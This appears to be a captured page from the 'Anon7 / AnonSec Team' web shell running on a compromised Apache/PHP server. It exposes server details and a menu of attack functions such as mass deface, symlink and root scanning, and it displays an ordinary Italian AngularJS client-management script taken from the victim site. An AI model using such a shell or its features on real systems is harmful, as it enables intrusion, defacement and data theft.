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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/www/_components/cliente/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/www/_components/cliente/js/clienti.js
materialAdmin


//=================================================
// Controller CLIENTI
//=================================================

    .controller('clienteCtrl', function($anchorScroll, $location, $filter, $http, $sce, $scope, ngTableParams, tableService, APIService, animationService, $rootScope, documentale, growlService) {

    $scope.userInfo = userInfo;

    $scope.padre = this;
    this.animationService = animationService;
    if($scope.utente.user_type_id == 830830 || $scope.utente.user_type_id == '830830'){
        $scope.elencoCampi = [ 'Ragione Sociale', 'Cellulare', 'Email', 'Utente Insert','Data Creazione', 'Azioni'];
        $scope.elencoChiavi = ['ragionesociale', 'cellulare', 'email','ricercauser', 'insert_time','tag', 'tags'];
    }else{
        $scope.elencoCampi = ['Ragione Sociale', 'Cellulare', 'Email','Azioni'];//, 'Tags'];
        $scope.elencoChiavi = ['ragionesociale', 'cellulare', 'email',''];// ,'tags'];
    }

    $scope.file= [];


    $scope.scaricaFile = function(filename,id){
            APIService.async({
                "method": "getfiles3",
                "filename": filename,
                "tipo": "clienti",
                "id": id
            }).then(
                function(adata) {
                    if(adata.status){
                        growlService.growl('Download del file avviato!', 'info');
                        var a = document.createElement("a");
                        document.body.appendChild(a);
                        a.href = adata.message;
                        a.setAttribute("download","true");
                        a.click();

                        document.body.removeChild(a);
                    }else{
                        growlService.growl('Non è stato possibile recuperare il file!', 'danger');
                    }

                  
                }
            );
        }

    xxx=$scope;
    http=$http;

    $scope.cancellaFiles = function(id, tipo, file){
        swal({
            title: "Sei sicuro di voler cancellare questo file ?",
            text: "NB. il file non sarà più recuperabile",
            type: "warning",
            showCancelButton: true,
            confirmButtonColor: "#DD6B55",
            confirmButtonText: "Conferma",
            closeOnConfirm: true
        }, function() {
            var toSend = {
                "tipo":     tipo,
                "id":       id,
                "method":   "deletefiles3",
                "nomefile": file.split("/")[file.split("/").length-1]
            }

            APIService.async(toSend).then(function(adata) {
                if(adata.status){
                    console.log(adata);
                    swal("Info",'Il file è stato cancellato.',"success");
                    $scope.risultati=adata.message;
                }else{
                    swal("Attenzione!", "Errore interno del server!", "error"); 
                    
                }
            });

        });         
    }

    this.clienteInsert = {
        'idcliente': '',
        'ragionesociale': '',
        'indirizzo': '',
        'citta': '',
        'cellulare': '',
        'piva': '',
        'codicefiscale': '',
        'telefono': '',
        'email': '',
        'note': '',
        'sede': '',
        'cap': '',
        'standardpagamento': '',
        'iban': '',
        'iva': '',
        'tags': ''
    };
    $scope.gotoBottom = function() {
        $location.hash('top');
        $anchorScroll();
    };
    $scope.rawProperty = function(key) {
        return function(item) {
            if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
                return item[key]['sec'];
            }
            return item[key];
        };
    };


    /* Parte Documentale */
    $scope.uploader = documentale(null,null);
    $scope.uploader.onCompleteAllOk = function() {
        scopeclienteinsertctrl.clienteInsert = {};
    };
    $scope.submit = function(){
        $scope.uploader.cercaFiles($scope.documentalectrl.documentoSearch.tipo, $scope.documentalectrl.documentoSearch.id).then(function(adata) {
            if(adata.status){
                $scope.risultati=adata.message;
            }else{
                swal("Attenzione!", "Errore interno del server!", "error");           
            }
        });;
    }
    //uploader.uploadAll()
    /* FINE Parte Documentale */


    this.switchcliente = function() {
        debugger;
        if (this.newCliente === 0) {
            this.editCliente = 0;
            $scope.clientetemp = "";
            this.newCliente = 1;
            playclistyle = "background-color:beige;padding-bottom:5px;padding-left:15px;padding-right:15px;";
        } else if (this.newCliente === 1) {
            this.newCliente = 0;
            this.playclistyle = '';
        }
        $scope.gotoBottom();
        $scope.avviaDocumentale();

    }

    this.switcheditcliente = function() {
        debugger;

        if (this.editCliente === 1) {
            this.editCliente = 0;
            this.playclistyle = '';
        } else if (this.editCliente === 0) {
            playclistyle = "background-color:beige;padding-bottom:5px;padding-left:15px;padding-right:15px;";
            this.newCliente = 0;
            this.editCliente = 1;
        }
        $scope.gotoBottom();
        $scope.avviaDocumentale();
    }

  /*  $scope.utenti = [];

    APIService.async({
            "method": "getutenti"
        }).then(
            function(adata) {
                console.log("utenti caricati");
                if (adata.status) {
                    for (var i = adata.message.length - 1; i >= 0; i--) {
                        $scope.utenti[adata.message[i].id_user] = adata.message[i];
                    }
                } else {
                    $scope.utenti = [];
                }
            }
        );*/



    this.getCitta = function() {
        APIService.async({
            "method": "getcitta"
        }).then(
            function(adata) {
                if (adata.status) {
                    $scope.clientectrl.comuni = adata.message;
                } else {
                    $scope.clientectrl.comuni = [];
                }
            }
        );
    }

    $scope.assegnaClienteUpload = function(id) {
        $scope.id_cliente = id;
    }

    if($scope.utente.user_type_id == 830830 || $scope.utente.user_type_id == '830830'){
        $scope.lite="true"
    }else{
        $scope.lite="false"
    }
        $scope.getArray = [{a: 1, b:2}, {a:3, b:4}];
    
    $scope.getCSVBody = function() {
        debugger;
        return $scope.clientectrl.data;
    }

    $scope.getCSVHeader = function() {
        var toRet = [];
        for(var key in $scope.clientectrl.data[0]){
            toRet.push(key);
        }
       return toRet;
    }


    //Caricament dati da API REST
    this.getData = function() {
        APIService.async({
            method: "getclienti",
            lite: $scope.lite
        }).then(function(adata) {
            if (adata.status && adata.message.length) {
                var data = adata.message;
                $scope.clientectrl.data = data;
                $scope.clientectrl.tableCliente = new ngTableParams({
                    page: 1, // show first page
                    count: 10
                }, {
                    total: data.length, // $scope.data.length, // length of data
                    getData: function($defer, params) {
                        debugger;
                        //controllo se esisteno paramentri che si chiamamo orderby, all'onclick ordino per quel campo
                        if (params.sorting()['orderBy'] != undefined) {
                            //aggiungo la substr perchè il primo carattere viene messo random, altrimenti ordinerebbe sempre DESC visto che se è ordinata per una qualsiasi colonna non fa più ordinare per la stessa
                            var orderedData = $filter('orderBy')(data,
                                $scope.rawProperty(params.sorting()['orderBy'].substr(1)),
                                $scope.clientectrl.isSortBy);
                            $scope.clientectrl.isSortBy = !$scope.clientectrl.isSortBy;
                        } else {
                            var orderedData = data;
                        }
                        if (params.sorting()['filter'] != undefined) {
                            var chiave = params.sorting()['filter'].key;
                            var value = params.sorting()['filter'].value;
                            var tmpSrc = {};
                            var p;
                            if(chiave=='tag')
                                {   var y, m ;
                                    for(x in orderedData)
                                        {
                                         p="";
                                        y=orderedData[x].tags;
                                        for ( m in y)
                                        {
                                            p+=y[m].valore + " ";
                                        }
                                       orderedData[x].tag=p;
                                    }
                                    
                                }
                            tmpSrc[chiave] = value;
                            console.log(tmpSrc);
                            if(value){
                                orderedData = $filter('filter')(orderedData, tmpSrc);    
                            }
                            
                            console.log(orderedData);
                        }
                        debugger;
                        params.total(orderedData.length); // set total for recalc pagination
                        $defer.resolve(orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count()));
                    }
                });

            } else if (adata.message.length == 0 && adata.status) {

                animationService.setAnimationJam("bounceInDown", "alert-red", false, "Nessun dato in archivio!");
            } else {

                animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore connessione con l'archivio dati!");

            }

        });
    };




    this.getData();
    $scope.comuni = this.getCitta();
    //Insert , @Peodacontrollare
    this.newCliente = 0;
    this.editCliente = 0;

    this.submit = function() {
        
        var ins = angular.copy(this.clienteInsert);
        ins.method = "insertcliente";

        if("datanascita" in ins  && ins.datanascita && ins['datanascita'].split("-")[0].length==2){
            ins['datanascita'] = moment(ins['datanascita']).format("YYYY-MM-DD");
        }
    
        APIService.async(ins).then(function(adata) {
            if (adata.status) {
                if($scope.uploader.queue.length > 0){
                    swal(adata.message, "L'utente è stato creato con successo, le credenziali verranno inviate via email! Caricamento file in corso...", "success")
                    $scope.uploader.caricaFile("clienti", adata.message)    
                }else{
                    swal(adata.message, "L'utente è stato creato con successo, le credenziali verranno inviate via email!", "success");
                }

                    //aggiorno la lista degli utenti 
                
                //svuoto i valori precedenti
                try{
                scopeclienteinsertctrl.clienteInsert ={};

                }catch(e){}
                //nascondo il menu inserimento
                if (adati.status) {

                    $scope.clientectrl.newcliente = 0;

                } else {
                    $scope.clientectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore inserimento cliente!");
                    debugger;
                }



            } else {
                $scope.clientectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
            }

        });
    }


    

    $scope.cancellaCliente = function(dati) {
        swal({
            title: "Sei sicuro di voler cancellare il cliente '" + dati.ragioneSociale + "' ?",
            text: "L'azione eseguita sarà irreversibile!",
            type: "warning",
            showCancelButton: true,
            confirmButtonColor: "#DD6B55",
            confirmButtonText: "Si, cancellala!",
            retryButtonText: "Annulla Operazione!",
            closeOnConfirm: true
        }, function() {

            dati.$edit = false;
            dati.method = "deletecliente";
            APIService.async(dati).then(function(adati) {
                if (adati.status) {
                    debugger;
                    swal(adati.message, "Cliente eliminato con successo!", "success");
                    $scope.clientectrl.getData();
                } else {
                    $scope.clientectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "L'utente ha delle riparazioni assegnate, per tanto non può essere eliminato!");
                }
            });

        });
    }
    this.convertiTags = function(tagd) {
        debugger;
        var temp = "";

        if (y = this.isjson((tagd)))
            if ((y) instanceof Object) {
                if (y.length > 0) {
                    for (x in y) {
                        temp += (" " + y[x].valore);

                    }

                }
                return temp;
            } else
                return false;
    }

    $scope.caricaTagsClientePerEdit = function(w){
        
        APIService.async({
                "method": "gettagcliente",
                "id": w
            }).then(
                function(adata) {
                    if(adata.status){

                        if (adata.message) {
                            $scope.clientetemp.tags = new Array();
                            for (y in adata.message){
                                $scope.clientetemp.tags.push({
                                    "text": adata.message[y].valore
                                });
                            }
                        }
                    }else{
                        growlService.growl('Non è stato possibile recuperare i tags del cliente!', 'danger');
                    }
                }
            );                 
    }


    this.editaCliente = function(w) {
        debugger;
        $scope.assegnaClienteUpload(w.idcliente);
        $scope.caricaTagsClientePerEdit(w.idcliente);
        //$scope.clientectrl.clientetemp.cittaobj= {'idcategoria': w.idcategoria, 'nomecategoria': w.nomecategoria};   
        $scope.gotoBottom();
        $scope.clientetemp = angular.copy(w);
        if("datanascita" in $scope.clientetemp && $scope.clientetemp.datanascita && $scope.clientetemp['datanascita'] && $scope.clientetemp['datanascita'].split("-")[0].length==4){
            
            if(moment($scope.clientetemp['datanascita']).isValid()){
                $scope.clientetemp['datanascita'] = moment($scope.clientetemp['datanascita']).format("DD-MM-YYYY");    
            }else{
                $scope.clientetemp['datanascita'] = '';
            }
        } 
        if (tags = w.tags) {
            $scope.clientetemp.tags = new Array();
            for (y in tags)
                $scope.clientetemp.tags.push({
                    "text": tags[y].valore
                });

        }
        this.newCliente = 0;
        $scope.avviaDocumentale(w.idcliente);
      
        
       // $scope.caricaFileCliente(w.idcliente);
        

    }

    $scope.avviaDocumentale= function(id_cliente){
        /* Parte Documentale */
        if(scopeclienteinsertctrl){
            scopeclienteinsertctrl.svuotaCliente();
        }
        console.log("Istanza Documentale Clienti"+ id_cliente);
        $scope.uploader = documentale("clienti", id_cliente);
        $scope.uploader.onCompleteAllOk = function() {
            scopeclienteinsertctrl.clienteInsert = {};
        };
        /*$scope.submit = function(){*/
    
        $scope.uploader.cercaFiles().then(function(adata) {
            if(adata.status){
                $scope.risultati=adata.message;
            }else{
                swal("Attenzione!", "Errore interno del server!", "error");           
            }
        });
    
       /* }*/
        //uploader.uploadAll()
        /* FINE Parte Documentale */
    }

    /* Parte Documentale */
    console.log("Istanza Documentale Clienti:", $scope.id_cliente);
    $scope.uploader = documentale("clienti", $scope.id_cliente);
    $scope.uploader.onCompleteAllOk = function() {
        scopeclienteinsertctrl.clienteInsert = {};
    };
    /*$scope.submit = function(){*/
    if($scope.editCliente==1){
        debugger;
    
        $scope.uploader.cercaFiles().then(function(adata) {
            if(adata.status){
                $scope.risultati=adata.message;
            }else{
                swal("Attenzione!", "Errore interno del server!", "error");           
            }
        });
    }
   /* }*/
    //uploader.uploadAll()
    /* FINE Parte Documentale */





    this.isnojson = function(data) {
        if (data != null && data != undefined) {
            try {
                debugger;
                var unparsedData = JSON.stringify(data);
                return unparsedData;
            } catch (e) {
                return false;
            }
        }
    }

    this.isjson = function(data) {
        if (data != null && data != undefined) {
            try {
                var parsedData = JSON.parse(data);
                return parsedData;
            } catch (e) {
                return false;
            }
        }
    }



/*

            $scope.caricaFileCliente = function(id_cliente) {
                var url = 'server/php/index.php?id_cliente='+$scope.id_cliente;
                $rootScope.id_cliente = $scope.id_cliente;
                $scope.options = {url: url};
                $scope.loadingFiles = true;
                $http.get(url).then(
                    function (response) {
                        $scope.loadingFiles = false;
                        $scope.queue = response.data.files || [];
                        $scope.$root.qqq = $scope.queue;
                        console.log($scope.queue);
                    },function () {
                        $scope.loadingFiles = false;
                        //console.log('5');
                    }
                );

            }

           $scope.$root.clearFilesTrue = false; // Killer flag (Set to false when adding)
            

            var url = 'server/php/index.php?id_cliente=';
            $scope.$watch('id_cliente', function() {
                url = 'server/php/index.php?id_cliente='+$scope.id_cliente;
                $scope.url = url;
                
                //};
                //$scope.ciao();
                $scope.$root.filesDeleted = false;
                console.log('FilesDeleted',$scope.$root.filesDeleted);




                console.log('YO!', $scope.$root.clearFilesTrue);
                $scope.clearFilesTrue = $scope.$root.clearFilesTrue;
                
            });

*/
})

/*
        .controller('FileDestroyController', ['$scope', '$http', '$rootScope', function ($scope, $http, $rootScope) {
            var file = $scope.file,
                state;

            console.log('foooo', $scope.$root.qqq);
            // Deletes the files in queue at start
            $scope.$watch('$root.clearFilesTrue', function() {
                console.log('YO!', $scope.$root.clearFilesTrue);
                $scope.clearFilesTrue = $scope.$root.clearFilesTrue;
            });
            

            $scope.clearFiles = function(){
                if(!$scope.$root.filesDeleted){

                    for (var i = $scope.$root.qqq.length - 1; i >= 0; i--) {
                        $http({
                                url: $scope.$root.qqq[i].deleteUrl+"&id_cliente="+$rootScope.id_cliente,
                                method: $scope.$root.qqq[i].deleteType
                            }).then(
                                function () {
                                    state = 'resolved';
                                    //$scope.clear(file);
                                },
                                function () {
                                    state = 'rejected';
                                }
                            );
                    }
                    $scope.$root.filesDeleted = true;
                    console.log('clearFiles_____:', $scope.$root.filesDeleted);
                }

            }                
            
            //$scope.clearFiles();

            if (file.url) {
                file.$state = function () {
                    return state;
                };
                file.$destroy = function () {

                    swal({
                        title: "Sei sicuro di voler cancellare il file?",
                        text: "L'azione eseguita sarà irreversibile!",
                        type: "warning",
                        showCancelButton: true,
                        confirmButtonColor: "#DD6B55",
                        confirmButtonText: "Si, cancellala!",
                        retryButtonText: "Annulla Operazione!",
                        closeOnConfirm: true
                    }, function() {

                        state = 'pending';
                        return $http({
                            url: file.deleteUrl+"&id_cliente="+$rootScope.id_cliente,
                            method: file.deleteType
                        }).then(
                            function () {
                                state = 'resolved';
                                xxx.caricaFileCliente(1);
                            },
                            function () {
                                state = 'rejected';
                            }
                        );

                    });

                    
                };
            } else if (!file.$cancel && !file._index) {
                file.$cancel = function () {
                    xxx.caricaFileCliente(1);
                };
            }
        }
    ]);
*/

Anon7 - 2022
AnonSec Team